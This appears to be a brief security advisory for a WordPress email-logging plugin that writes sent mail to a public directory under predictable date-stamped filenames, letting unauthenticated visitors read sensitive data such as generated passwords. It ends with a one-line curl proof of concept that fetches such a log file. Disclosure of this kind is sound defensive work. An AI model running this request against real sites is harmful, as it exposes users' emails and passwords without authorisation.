The plugin saves sent email in a publicly accessible directory using predictable filenames, allowing any unauthenticated visitor to obtain potentially sensitive information like generated passwords.
curl https://example.com/wp-content/plugins/logwpmail/log/LWPMAIL-20220330-success.log